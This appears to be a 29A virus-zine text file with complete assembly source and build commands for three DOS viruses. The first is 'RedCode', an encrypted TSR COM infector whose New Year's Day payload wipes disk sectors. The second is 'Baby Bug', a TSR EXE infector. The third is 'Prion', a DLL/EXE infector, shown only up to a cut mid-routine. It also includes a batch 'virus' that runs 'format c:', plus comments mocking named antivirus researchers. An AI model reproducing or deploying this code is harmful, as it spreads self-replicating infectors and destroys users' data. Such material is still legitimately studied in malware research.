;±±° Size: Nah, not much ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ±±°
;±±° Origin: Spain ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ±±°
;±±° Finished: When all was done ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ±±°
;±±±° ±±±°
; ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±°
;
;
; For those who still don't know what RedCode and CoreWars are, go and
; look for some webpage in the net so you'll later understand the meaning
; and the reason to be of this virus... otherwise you'll feel like if you
; were trying to understand chinese scripts :)
;
; I started writing this virus to try to make a payload which came up to my
; mind one day after one couple kalimotxos ( wine+coke ) :*) and intensive
; Marilyn Manson sessions... what about a CoreWars game in your computer ?
; Imagine, two programs which fight as in CoreWars, trying to make impossi-
; ble to each other to do its next move and thus win the game... imagine,
; also, that this game takes place in the first sectors of your HD.
;
; So that's the virus payload.
;
; The payload is destructive ( because of obvious reasons, not just because
; now I like to destroy computers and that stuff ). However, the user may
; skip any damage and save his data just by not pressing 'enter' when the
; payload appears. By pressing the "G" key right now you will be able to see
; the NON-destructive version of the payload.
;
; About the virus itself, it's a 'lame TSR COM infector' which infects on
; closing/disinfects on opening using SFTs; some kind of 'joke virus', with
; some references to "near friends" in the code and in the comments ;-D
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Each time I look outside
; my mother dies, I feel my back is changing shape
; When the worm consumes the boy it's never
; considered rape.
; When they get to you
; Prick your finger it is done...
; the moon has now eclipsed the sun...
; the angel has spread his wings...
; the time has come for better things...
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( Marilyn Manson )
;
;

assume cs:codigo,ds:codigo,es:codigo
codigo segment
org 00h

bufferpos equ virus_end-offset buffer


virus_size equ virus_end-virus_start
encrypt_size equ encrend-encrstart
virus_start label byte

realstart:

call delta_offset
delta_offset:
mov si,sp
mov si,word ptr [si]
sub si,offset delta_offset

call non_copied

encrstart:

inc sp
inc sp

mov ax,0bacah
int 21h
cmp ax,0bacah
jz instalados

mov ax,cs ; Oh, no, another Tsr routine !


dec ax
mov es,ax
mov bx,es:[3]
sub bx,((virus_size+15)/16)+1
mov ah,4ah ; Come on, resize...
push ds
pop es
int 21h
mov ah,48h ; ( There's gotta be a place for me )
mov bx,((virus_size+15)/16)
int 21h
push ax
dec ax
mov es,ax
mov word ptr es:[1],8 ; Typical residence routine with Dos
pop es ;routines and no low level ( let's be
xor di,di ;simple :-PP )
push si
lea si,realstart+si
push cs
pop ds
mov cx,virus_size/2+3 ; Hey, memory, here I am
rep movsw
pop si

push es
pop ds

mov ax,3521h ; Where are you, my love ?


int 21h
mov ds:word ptr int21h,bx
mov ds:word ptr int21h+2,es
lea dx,Where_it_happens
mov ax,2521h ; Come here ;)
int 21h
push cs cs
pop ds es

instalados:

mov di,100h ; Restore host


push di
lea si,[si+buffer]
movsw
movsw
movsb
ret

pushed: dw 0

push_regs:

cli
pop cs:word ptr [pushed]
pushf
push ax bx cx dx es ds bp di si
push cs:word ptr [pushed]
sti
ret

pop_regs:

cli
pop cs:word ptr [pushed]
pop si di bp ds es dx cx bx ax
popf
push cs:word ptr [pushed]
sti
ret

push_stuff:

pop cs:word ptr [pushed]


push word ptr es:[di+0dh] ; Time
push word ptr es:[di+0fh] ; Date
push word ptr es:[di+04h] ; Sets attribs
mov byte ptr es:[di+04h],0
mov byte ptr es:[di+2],2 ; Opening
push cs:word ptr [pushed]
ret

get_sft:
push bx ; We get file's Sft
mov ax,1220h
int 2fh
jc nein
xor bx,bx
mov bl,byte ptr es:[di]
mov ax,1216h
int 2fh
clc
nein:
pop bx
ret

set_int_24:
pop cs:word ptr [pushed]
mov ax,3524h
call callint21
push es bx
mov ah,25h
push ax cs
pop ds
lea dx,int24handler
call callint21
push cs:word ptr [pushed]
ret

where_it_happens: ; Main center ( int21h handler )


cmp ax,0bacah ; La del coche se escribe con b :-P
jz check
cmp ah,03dh
je disinfect
cmp ax,06c00h
je disinfect
cmp ax,4b01h
je disinfect
cmp ah,03eh
jnz vamos_al_salto
jmp infect_file
vamos_al_salto:
jmp salto

check:
call push_regs
mov ah,02ah
int 21h
cmp dx,0101h ; 1st january. Why not ?
jnz dont_payl ; - Japi niu yiar !
jmp do_payload
dont_payl:
call pop_regs
iret

;****************************************************************************
; DISINFECTION
;----------------------------------------------------------------------------

disinfect:

call push_regs

cmp ax,6c00h
jz extended
mov si,dx
extended:
mov di,ds

call set_int_24

mov ds,di ; Opens the file that was going to


mov dx,si ;be opened
xor cx,cx
mov ax,3d00h
call callint21
jnc vamos_bien
jmp fuera_delto
vamos_bien:
xchg ax,bx

call get_sft
jc outta_jiar

push cs ; Is it infected ?
pop ds
mov ah,3fh
mov cx,2
lea dx,buffer
call callint21
cmp word ptr ds:[buffer],05951h
jnz outta_jiar

call push_stuff

; Let's start disinfecting

mov ax,word ptr es:[di+11h] ; File length


push ax
sub ax,bufferpos
mov word ptr es:[di+15h],ax ; We point to the buffer
mov ah,3fh
mov cx,5h
lea dx,buffer ; 5 bytes read
call callint21

mov si,dx
mov cx,5h
des_loop: ; We decrypt em
xor ds:byte ptr[si],0feh
inc si
loop des_loop

mov word ptr es:[di+15h],0


mov ah,40h
mov cx,5h
lea dx,buffer
call callint21
pop ax
sub ax,virus_size
mov word ptr es:[di+15h],ax
mov ah,40h
xor cx,cx
call callint21

rest_all:
pop ax ; Recovers attributes
mov byte ptr es:[di+4h],al

mov ax,5701h
pop dx ; Date
pop cx ; Time
call callint21

outta_jiar:
mov ah,3eh
call callint21
fuera_delto:
pop ax dx ds ; Restore int24h
call callint21

call pop_regs
jmp salto

;****************************************************************************
; INFECTION
;----------------------------------------------------------------------------

infect_file:

call push_regs
mov si,bx
call set_int_24 ; Errors Int
mov bx,si

call get_sft ; actual Sft


jc outta_jiar

push cs
pop ds

call push_stuff

tira_palla:
clc
cmp word ptr es:[di+29h],'MO'
jnz cerramos
cmp byte ptr es:[di+28h],'C'
jnz cerramos
cmp word ptr es:[di+11h],01388h
jna cerramos
cmp word ptr es:[di+11h],0ea60h
ja cerramos

mov word ptr es:[di+15h],0 ; Five first bytes


mov ah,3fh
mov cx,5
lea dx,buffer
call callint21
cmp word ptr ds:[buffer],'ZM'
jz cerramos
cmp word ptr ds:[buffer],'MZ'
jz cerramos
cmp word ptr ds:[buffer],05951h ; Are we there ?
jz cerramos

mov ax,word ptr es:[di+11h]


mov word ptr es:[di+15h],ax

push ax di
call aporesaguarra
pop di ax

sub ax,5
mov word ptr cs:[jmptous+1h],ax
mov word ptr es:[di+15h],0h

mov ah,40h
lea dx,entrada
mov cx,5
call callint21

cerramos:

jmp rest_all

;*********************************************
; PAYLOAD-PAYLOAD-PAYLOAD-PAYLOAD-PAYLOAD
;*********************************************

do_payload:
mov ax,0013h ; Mode 13h
int 10h

mov dx,09h ; We write the first message about


mov bx,7h ;redcode_something
call set_cursor
push cs
pop ds
lea si,text1
call write

mov ax,0a000h ; We draw the complete screen; squares


mov ds,ax ;of the game, blablabla ( this is done
mov bx,320*10+30 ;from here to the next comment )
mov si,bx

mov cx,51d
push bx

block:
push cx bx si
mov cx,125d
line:
mov word ptr ds:[bx],808h
mov byte ptr ds:[si],8h
add si,320d
inc bx
inc bx
loop line

pop si bx cx
mov ax,cx
and al,1

jnz not_this_time
add bx,320d*5d

not_this_time:

add si,5d
loop block

pop bx
mov si,bx
mov cx,125d
lados:

mov word ptr ds:[bx],0f0fh


mov word ptr ds:[bx+09C40h],0f0fh
mov byte ptr ds:[si],0fh
mov byte ptr ds:[si+250d],0fh
add si,320d
inc bx
inc bx
loop lados
mov byte ptr ds:[si+250d],0fh

push ds
push cs
pop ds
mov dx,1208h ; Write the text about today's contest
mov bx,42h
call set_cursor
lea si,text2
call write

mov dx,1402h ; We introduce the first warrior of


call set_cursor ;this night
mov bx,36h
lea si,text3
call write

mov dl,12h ; and...


call set_cursor
mov bx,42h
lea si,text4
call write

mov dl,17h ; The second fighter !


call set_cursor
mov bx,2h
lea si,text5
call write

pop ds ; A000
xor ax,ax
mov es,ax

;*******************
; Initial positions
;*******************

mov al,byte ptr cs:[400h] ; Gets coordinates


cmp al,248d
jna @nopasana
mov al,248d
@nopasana:
mov byte ptr cs:[prim_xpos],al ; for the first player
mov byte ptr cs:[prim_at_x],al
push ax
mov dl,byte ptr cs:[46ch] ; Not the timer O:)
and dl,01fh
cmp dl,24d
jna @palante
mov dl,24d
@palante:
mov byte ptr cs:[prim_ypos],dl
mov byte ptr cs:[prim_at_y],dl
pop ax
mov cx,09h ; Colour
call trazar ; We draw initial 1st fighter's position

@x_pos_again:
mov al,byte ptr es:[46ch] ; Same for the 2nd one
cmp al,248d
ja @x_pos_again
cmp byte ptr cs:[prim_xpos],al ;checking they aren't on the
jz @x_pos_again ;same pos.
mov byte ptr cs:[seg_xpos],al
mov byte ptr cs:[atta_x2],al
push ax
@y_pos_again:
mov al,byte ptr es:[46ch]
and al,01fh
cmp al,24d
ja @y_pos_again
mov dl,al
cmp byte ptr cs:[prim_ypos],al
jz @y_pos_again
mov byte ptr cs:[seg_ypos],al
mov byte ptr cs:[atta_y2],al
pop ax

mov cx,0ah ; Player's colour


call trazar

inc al
cmp al,248d
jna @bien
sub al,250d
inc dl
cmp dl,24d
jna @bien
xor dl,dl
@bien: mov byte ptr cs:[Spe_posx],al
mov byte ptr cs:[Spe_posy],dl
mov cx,0ah
call trazar

mov ah,07h ; When user presses a key...


int 21h ;fiesta starts !!!

; AND THE GAME BEGINS... the warriors start fighting, placed each
; of them in a random sector... first, Big Butt Gass¢ will move.
; Later, Himmler Fewster will.

; Big Butt Gass¢


; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Data: Big Butt Gass¢, also known as 'Babe', is a brave Yorkshire
; little pig whose only objective in this life is becoming a
; shepherd; he believes he is a sheepdog.
;
; Albeit, in all his life trying to be a sheepdog, he has suffered
; much because of some sheeps that didn't understand his likes or
; why does he want to became a sheepdog
;
; Sheeps didn't understand him, and told him things as " Hummm,
; why do we need a pig that only insults us and tells us that this
; or that kind of food is bad for us ? We prefer dogs !!! ". Or
; even worse, dogs themselves, insulting him and depressing him;
; cause of this, he had to go out from GRANJA.R34 :'''-(
;
; But one day, Big Butt knew "Rata Grasienta", a good friend that
; had simpathy to Big; discovered him RedCode, a kickass game from
; which he could demonstrate he was someone ( or just sink into
; his bullshit... )
;
; So, here he is, come on Gass¢ !
;
; Listing: ( could be bigger, but... how big do you thing the
; brain of a pig is ? )
;
;
; BEGIN Gronf.War ( .Warrior )
;
; dat -1
; > add #4 -1
; mov -2 @-2
; jmp -2
;

movements:

mov al,byte ptr cs:[prim_at_x] ; Big Butt Gass¢ moves


mov dl,byte ptr cs:[prim_at_y]
add al,4h
cmp al,248d
jna correcto
sub al,250d
inc dl
cmp dl,24d
jna correcto
xor dl,dl
correcto:
mov byte ptr cs:[prim_at_x],al
mov byte ptr cs:[prim_at_y],dl
mov cx,36h
call trazar
call ne1destroyed ; Checks if someone was destroyed

; Now it's Himmler Fewster's turn

; Himmler Fewster
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Our second warrior, was born from a FidoPet NC and a moderator
; whose secret vocation was beeing a Beverly Hills high level
; prostitute.
;
; So, Fewster's familiar environment wasn't good at all, and
; his personality went into violence and so; so young, he started
; playing with swastikas and insulting all people of different
; races than his; all non-AVer people
;
; Then, his problems began. He hated VXers and only had friends
; from the God chosen race, AVers, the race which at the judgement
; day would sit right ( or was it left ? ) of God
;
; At last, he became moderator of a Fido echoarea, recommended
; by his father and some friends from his race; from there, he
; could establish terror and silence about viruses. It was
; wonderful: if someone liked viruses, he could just squash and
; silence his dirty mouth. Even, he could make that stupid
; non-AVers believe that viruses jump from diskette to diskette,
; that they were an alive problem... there were no limits, he got
; the POWER.
;
; Albeit, there was a little problem, the last pitfall in Himmler
; Fewster's life; some FidoPet and Internet fools called "the
; PowerRangers" that attacked his ideas and defended ( oh, heresy! )
; that virus writers knew most about viruses than antivirus
; writers...
;
; And... is there a better method than intelligence to attack
; them ? And... which method is better than a good RedCode to do it ?
; Bontchy, Fewster, and another AVer that had some problems to find
; the difference between F-potato chips and polymorphic engines,
; made the definitive warrior to attack...
;
; Listing:
;
; BEGIN VIRUS_INFO.WAR ( Written in Basic; although Gass¢'s
; warrior is one sector long, this is two sectors long, cause
; it's written in the AVers's secret megak00l superlanguage...
; 0f c0z, ZX Spectrum's Basic ! )
;
;
; 5 let a=initxpos
; 10 input " Who are you/virus attitude/will you obey me? ",a$
; 20 if a$<>"I'll be your slave" then 40
; 30 print " Whatever ": Rem blah
; 40 print " Position banned "
; 50 let a=a-1
; 60 goto 10
;

mov al,byte ptr cs:[atta_x2] ; Big Butt Gass¢ moves


mov dl,byte ptr cs:[atta_y2]
dec al
cmp al,0ffh
jnz finiquita
mov al,248d
dec dl
cmp dl,0ffh
jnz finiquita
mov dl,024d
finiquita:
mov byte ptr cs:[atta_x2],al
mov byte ptr cs:[atta_y2],dl
mov cx,2h
call trazar
call ne1destroyed

mov dx,3dah ; Delay ( monitor retrace )


del1: in al,dx
test al,8
jne del1
del2: in al,dx
test al,8
je del2

jmp movements

;******************
; WRITING ROUTINES
;******************

set_cursor: ; Place cursor where told by the program


mov ah,2
xor bh,bh
int 10h
ret

write:
lodsb
or al,al
je finished
mov ah,0eh
int 10h
jmp write

finished: ret

;*************************
; TRACE A POSITION SQUARE
;*************************

trazar:
push ax dx
; We've got X pos in Al, Y pos in Dl
xor dh,dh
xor ah,ah
add ax,31d ; Now, we've got in bx the X
xchg bx,ax

mov ax,5d
mul dx
add ax,11d
xchg ax,dx
mov ax,320d
mul dx
add bx,ax

mov dl,cl
mov cl,4
push bx ;*
@paint:
mov byte ptr ds:[bx],dl
add bx,320d
loop @paint
pop bx
pop dx ax

ret

; ********** CHECK ************

Ne1destroyed: ; Routine to check if some crap were put


; on the players's
cmp byte ptr cs:[prim_xpos],al ; positions
jnz not_gasso
cmp byte ptr cs:[prim_ypos],dl
jnz not_gasso
jmp gassodied
not_gasso:
cmp byte ptr cs:[seg_xpos],al
jnz not_himmler
cmp byte ptr cs:[seg_ypos],dl
jnz not_himmler
jmp himmlerdied
not_himmler:
cmp byte ptr cs:[Spe_posx],al
jnz not_himmler2nd
cmp byte ptr cs:[spe_posy],dl
jnz not_himmler2nd
jmp himmlerdied
not_himmler2nd:
ret
gassodied: lea si, himmler
mov bx,2h
jmp himmlermid
himmlerdied:lea si, gasso
mov bx,36h
himmlermid: push cs
pop ds

mov dx,0701h
call set_cursor
call write
jmp $

; ********** DATA **********

Spe_posx: db 0 ; First zone is for the payload


Spe_posy: db 0
prim_xpos: db 0
prim_ypos: db 0
prim_at_x: db 0
prim_at_y: db 0
seg_xpos: db 0
seg_ypos: db 0
atta_x2: db 0
atta_y2: db 0
text1: db 'Viral RedCode Implant',0
text2: db 'Today''s contest between',0
text3: db 'Big Butt Gasso',0
text4: db 'and',0
text5: db 'Himmler Fewster',0
gasso: db 'BIIIIIIG BUTT GASSSOOOO... WINSSSSS !!!',0
himmler: db 'FEWSTER BANSSSSS GASSSSOOOOOOOO !!!',0

entrada: db 51h,59h
jmptous: db 0e9h,?,?
buffer: db 51h,59h,90h,0cdh,20h
its_name: db 'The RedCode virus by Wintermute/29A; yeah, not a kickass '
db 'at all, but with a funny payload, don''t you agree ?',0
db 'Watch the payload !'
encrend label byte

salto: db 0eah
int21h: dw 0,0

callint21: pushf
call dword ptr cs:[int21h]
ret

int24handler:
mov al,3
iret

aporesaguarra:
xor si,si
call encrypt
push cs
pop ds
xor dx,dx
mov cx,virus_size
mov ah,40h
call callint21
call encrypt
ret

encrypt:
lea di,encrstart+si
mov cx,encrypt_size
xor_loop: xor byte ptr cs:[di],0feh
inc di
loop xor_loop
ret

virus_end label byte

non_copied:
mov word ptr encrstart-2+si, encrypt-encrstart
ret

codigo ends
end realstart

; BonusTrack
; ÄÄÄÄÄÄÄÄÄÄ
;
; And finishing this, I wanted to give an oportunity to my friend Christian;
; the oportunity of publishing a virus in this place of 29A: I told him, I can
; publish your virus in 29A ! And so I do, returning to my master in virus
; writing all I debt him, giving him my most sincerely thanks for being my
; master in viruswriting, the light that iluminated the way on my first steps
; making a Com non-tsr and that has brought me to the vast knowledge with his
; impressive wisdom.
;
; Here it is, his most important creation; works under Win95/NT ( suppose ),
; Ms-dos, Win3.1 in an Ms-dos window, and I dunno if Linux and Os/2 have
; that kind of windows, but... 100% destructive, of course. Doesn't have
; polymorphism cause it doesn't need it, and it's stealth "after-execution",
; autodesinfecting itself when run. Here you are...
;
;
; === Cut INSTALL.BAT ===
;
; echo off
; :main
; cls
; echo.
; echo.
; echo Beware !!!!!!, this is a virus. Your Personal Computer has been
; echo infected by Cyberkurdt's sublime virus, PCVIRUS; the first spanish
; echo virus completely made on EDIT, compatible within Dos, Windows, Win95,
; echo and maybe in a DOS OS2 Window...
; echo This virus presents some characteristics as multiple encryption,
; echo some loop, /\/\egak00l interrups access, kewl&kickass formatting and
; echo and self-disinfection.
; pause
; goto loop
;
; :encrypt
; Encryption
; a=! b=" c=% d=& e=) f=? g:¨ h=" i=&
; j=/ k=^ l=- m=- n=€ ¤=" o=! p=ú q=%
; r=& s=R t=I u=: v=; w=¥ x=> y=< z=ª
;
; €!ú)/!&!R($)%$=%ú=$)ú$)"ú"!=ú"=ú"?!ú=!?$^P^!"ú/(ú$/"ú"ú#@||\$/$($($(")ú"!ú)
; %(&ú$)%"=$ú!"=$!"?ú!"ú=ú")$ú(%$$ú/I%%&%&/$%$ú%("$"ú($)"!ú)!"ú=!"ú")$"(ú$(")
; ª#@#@|#@#@|@###@##%)$)%$ú¥^*-¥:;;>;Z>::Zú>-Z#>X>Z<-zx'<z-x0<>X:>Z>Xz@<0x<z-
; !¦"ú$%&/()=?¨**-_`+龜-.ï..,.,-,.m,m-.,-m.-.----------------------------
; goto end
;
; :routine
; goto loop2
;
; :loop
; goto routine
;
; :pepe
; cls
; choice /C:ns Press "y" and you will save your Personal Computer, press "n"
; and you won't see the light of day...
; if errorlevel 2 goto destruct
; cls
; echo You're safe ! Yeah !, but..... are you sure that strange BAT isn't
; echo another hyper-super-destructive virii ?
; echo.
; echo.
; pause
; goto end
;
; :loop2
; goto pepe
;
; :destruct
; cls
; echo Ohhhh... shit, guy, you screwed it up; doesn't matter what you type
; echo now, the data on your hard disk is going to die... whatever, press
; echo "yes" and you will see a k00l porn animation :))''
; pause
; cls
; format c:
;
; goto end
;
; :end
; cls
; echo.
; echo.
; echo.
; echo.
; echo.
; echo.
; echo.
; echo.
; prompt Divided by Zero; Multiplied by Zero dot two; press Ctrl+Alt+Del
;
;
; === Cut ===
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Baby Bug ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Tcp/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Because in 29A#2 it wasn't going to be published any virus originally wri-
; tten by me and i did not like that, taking advantage of a little last-hour
; delay in the release of the magazine and of a rainy afternoon i decided to
; code this little virus. It is a 407 byte-long TSR EXE infector, which uses
; a pretty unusual code in order to process the EXE header... and this code,
; as you may imagine, takes less bytes than the standard one :)
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm /m babybug.asm
; tlink babybyg.obj

.286
baby segment
assume cs:baby, ds:baby, es:baby, ss:baby
org 0

VIRUS_SIZE = end_virus - start


VIRUS_MEM_SIZE = memsize - start
VIR_PARAG = (VIRUS_MEM_SIZE + 15) / 16 + 1

start:
delta_ofs equ word ptr $+1
mov si,0 ; mov si,delta_ofs
push ds
push es
mov ax,ds
add ax,10h
add cs:[si+f_relocs],ax ; Relocate host CS & SS
add cs:[si+f_reloss],ax
mov ax,0BAB1h ; Resident check
int 21h
cmp ax,0BA03h ; Already resident?
je exec_host ; Yes? then jmp
mov ax,ds
dec ax
mov ds,ax
mov bx,ds:[0003]
sub bx,VIR_PARAG+1
mov ah,4Ah
int 21h ; Adjust current block
mov ah,48h
mov bx,VIR_PARAG
int 21h ; Get memory
mov es,ax
push cs
pop ds
xor di,di
mov cx,VIRUS_SIZE
rep movsb ; Copy virus to allocated mem
push es
push offset(mem_copy)
retf
db '[Baby Bug, Tcp/29A]'

mem_copy:
push cs
pop ds
dec ax
mov es,ax
mov word ptr es:[0001],8 ; DOS MCB
mov ax,3521h ; Read int 21h
int 21h
mov [di],bx ; Store it
mov [di+2],es
mov dx,offset(vir_21h) ; Virus int 21h
mov ah,25h
int 21h
exec_host:
pop es
pop ds
cli
db 68h ; push f_reloss
f_reloss dw 0FFF0h
pop ss
f_exesp equ word ptr $+1
mov sp,offset(memsize) ; mov sp,f_exesp
sti
db 0EAh ; jmp host entry point
f_exeip dw 0
f_relocs dw 0FFF0h

vir_21h:
cmp ax,0BAB1h ; Resident check?
jne check_exec ; No? then jmp
int_24h:
mov al,3
iret

check_exec:
cmp ax,4B00h ; Exec file?
je process_file ; Yes? then jmp
jmp jmp_real_21

process_file:
pusha
push ds
push es
mov ax,3524h
int 21h ; Read int 24h
push es
push bx
mov ah,25h
push ax
push ds
push dx
push cs
pop ds
mov dx,offset(int_24h)
int 21h ; Set virus int 24h
pop dx
pop ds
mov ax,4300h
push ax
int 21h ; Read file attributes
pop ax
inc ax
push ax
push cx
push ds
push dx
xor cx,cx
int 21h ; Reset file attributes
jnc open_file
jmp_r_attr:
jmp restore_attr
open_file:
mov ax,3D02h
int 21h ; Open file I/O
jc jmp_r_attr
xchg ax,bx
push cs
pop ds
push cs
pop es
mov ax,5700h
int 21h ; Get file date/time
push ax
push cx
push dx
mov ah,3Fh
mov dx,offset(file_header)
mov cx,18h
int 21h ; Read file header
mov si,dx
stc
lodsw ; Signature
cmp ax,'MZ' ; EXE?
je infect_exe ; Yes? then jmp
cmp ax,'ZM' ; EXE?
jne jmp_r_datetime ; Yes? then jmp
infect_exe:
lodsw ; Part page
xchg ax,bp
lodsw ; Number of 512 bytes pages
or bp,bp
jz no_sub_page
dec ax
no_sub_page:
mov cx,512
mul cx
add ax,bp ; Calculate file size
adc dx,0
push ax ; Save it
push dx
lodsw ; Relocation items
lodsw ; Header size
xchg ax,bp
lodsw ; Min. memory
lodsw ; Max. memory
mov di,offset(f_reloss)
movsw ; SS
scasw ; DI+2
movsw ; SP
scasw ; DI+2
lodsw ; checksum
movsw ; IP
xchg ax,dx
lodsw ; CS
stosw
cmp ax,dx ; checksum == CS? infected?
pop dx
pop ax
je restore_datetime ; Yes? ten jmp
push bp
push ax
push dx
mov ax,4202h
xor cx,cx
cwd
int 21h ; Lseek end of file
pop cx
pop bp
cmp ax,bp ; Overlays?
pop bp
jmp_r_datetime:
jne restore_datetime ; Yes? then jmp
cmp dx,cx ; Overlays?
jne restore_datetime ; Yes? then jmp
push ax
push dx
mov cx,16 ; Calculate virus CS, IP
div cx
sub ax,bp
std
mov di,si
scasw
stosw ; CS
xchg ax,dx
stosw ; IP
mov delta_ofs,ax
xchg ax,dx
stosw ; Checksum = CS (infection mark)
xchg ax,dx
mov ax,VIR_PARAG*16 ; SP
stosw
xchg ax,dx
stosw ; SS
cmpsw ; hey! SUB DI,8 is only 3 bytes long, but it
cmpsw ; doesn't roq... :)
cmpsw
cmpsw
pop dx
pop ax
add ax,VIRUS_SIZE ; Calculate number of pages
adc dx,0
mov cx,512
div cx
or dx,dx
jz no_inc_pag
inc ax
no_inc_pag:
stosw ; Number of pages
xchg ax,dx
stosw ; Bytes in last page
mov ah,40h
cwd
mov cx,VIRUS_SIZE
int 21h ; Append virus body to file
jc restore_datetime
mov ax,4200h
mov cx,dx
int 21h ; Lseek begin of file
mov ah,40h
mov dx,di
mov cx,18h
int 21h ; Write new header to file
restore_datetime:
pop dx
pop cx
pop ax
inc ax ; 5701h
int 21h ; Restore date & time
mov ah,3Eh
int 21h ; Close file
restore_attr:
pop dx
pop ds
pop cx
pop ax
int 21h ; Restore attributes
pop ax
pop dx
pop ds
int 21h ; Restore int 24h
pop es
pop ds
popa
jmp_real_21:
db 0EAh ; jmp to int 21h
end_virus:
ofs_i21 dw ?
seg_i21 dw ?

file_header:
signature dw ?
part_page dw ?
pages dw ?
relo_items dw ?
hdrsize dw ?
mim_mem dw ?
max_mem dw ?
reloss dw ?
exesp dw ?
checksum dw ?
exeip dw ?
relocs dw ?

memsize:

baby ends
end start

; Baby Bug, by Tcp/29A


; (c) 1997, Tcp/29A (tcp@cryogen.com)
comment *
Prion ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Code by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ

Prion is a 313 bytes parasitic direct action new executable DLL/EXE virus.
Infects every file in current directory, when executed, by searching for an
area, the size of the virus, of constant bytes and overwrites the area with
the virus. Prion has an error handler.

I would like to thank Grog for the idea to this virus and Heuristic/29A for
helping me finish it.

To compile Prion with Turbo Assembler v 4.0 type:


TASM /M PRION.ASM
TLINK /x PRION.OBJ
EXE2BIN PRION.EXE PRION.COM
*

.model tiny
.code

code_begin:
call delta_offset
delta_offset:
pop bp ; Load BP from stack
sub bp,(offset delta_offset-code_begin)

cli ; Clear interrupt-enable flag


push cs ; Save CS at stack
pop ss ; Load SS from stack (CS)

mov sp,bp ; SP = delta offset


and sp,1111111111111110b
sti ; Set interrupt-enable flag

push ax ; Save AX at stack

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov ax,2524h ; Set interrupt vector 24h


lea dx,[bp+int24_virus] ; DX = offset of int24_virus
int 21h

mov ah,1ah ; Set disk transfer area ddress


lea dx,[bp+dta] ; DX = offset of dta
int 21h

mov ah,4eh ; Find first matching file


mov cl,00100111b ; CL = file attribute mask
lea dx,[bp+file_specifi]
find_next:
int 21h
jnc infect_file ; No error? Jump to infect_file

pop ax ; Load AX from stack


int 21h
infect_file:
mov ax,3d00h ; Open file (read)
lea dx,[bp+filename] ; DX = offset of filename
int 21h
xchg ax,bx ; BX = file handle
jc close_file ; Error? Jump to close_file

mov ax,1220h ; Get system file table number


int 2fh

push bx ; Save BX at stack


mov ax,1216h ; Get address of system FCB
mov bl,es:[di] ; BL = system file table entry
int 2fh
pop bx ; Load BX from stack

mov byte ptr es:[di+02h],02h

mov ax,es:[di+28h] ; AX = extension of the file


mov cl,es:[di+2ah] ; CL = " " " "

cmp ax,'LD' ; DLL executable?


jne test_exe ; Not equal? Jump to test_exe
cmp cl,'L' ; DLL executable?
je read_header ; Equal? Jump to read_header
test_exe:
cmp ax,'XE' ; EXE executable?
jne close_file ; Not equal? Jump to close_file
cmp cl,'E' ; EXE executable?
jne close_file ; Not equal? Jump to close_file
read_header:
mov ah,3fh ; Read from file
mov cx,40h ; Read sixty-four bytes
lea dx,[bp+file_header] ; DX = offset of file_header
int 21h

mov si,dx ; SI = offset of file_header


mov ax,[si] ; AX = EXE signature

xor ax,'MZ' ; Found EXE signature?


jz test_new_exe ; Zero? Jump to test_new_exe
xor ax,('ZM' xor 'MZ') ; Found EXE signature?
jnz close_file ; Not zero? Jump to close_file
test_new_exe:
cmp [si+18h],cl ; New executable?
jae test_stack ; Above or equal? Jump to test_stack
close_file:
mov ah,3eh ; Close file
int 21h

mov ah,4fh ; Find next matching file


jmp find_next
test_stack:
mov ax,10h ; Multiply initial SS relative to ...
mul word ptr [si+0eh] ; DX:AX = initial SS relative to s...
add ax,[si+10h] ; DX:AX = pointer to the stack
adc dx,00h ; " " " " " "
jnz test_stack_ ; Not zero? Jump to test_stack_

or ax,ax ; No stack?
jz calc_header ; Zero? Jump to calc_header
test_stack_:
cmp ax,[si+3ch] ; Stack placed in new executable ...?
jb close_file ; Below? Jump to close_file
cmp dx,[si+3eh] ; Stack placed in new executable ...?
jb close_file ; Below? Jump to close_file
calc_header:
mov ax,10h ; Multiply header size in paragrap...
mul word ptr [si+08h] ; DX:AX = header size

mov es:[di+15h],ax ; Move file pointer to end of header


mov es:[di+17h],dx ; " " " " " " "

sub ax,[si+3ch] ; DX:AX = pointer to end of header


sbb dx,[si+3eh] ; " " " " " " "

neg dx ; Negate DX
dec dx ; Decrease DX
jnz close_file ; Not zero? Jump to close_file

lea dx,[bp+file_buffer] ; DX = offset of file_buffer


cmp ax,dx ; DOS stub too large?
jbe close_file ; Below or equal? Jump to close_fi...

neg ax ; Negate AX
push ax ; Save AX at stack
xchg cx,ax ; CX = bytes to read from file

mov ah,3fh ; Read from file


int 21h

std ; Set direction flag


dec cx ; Decrease CX
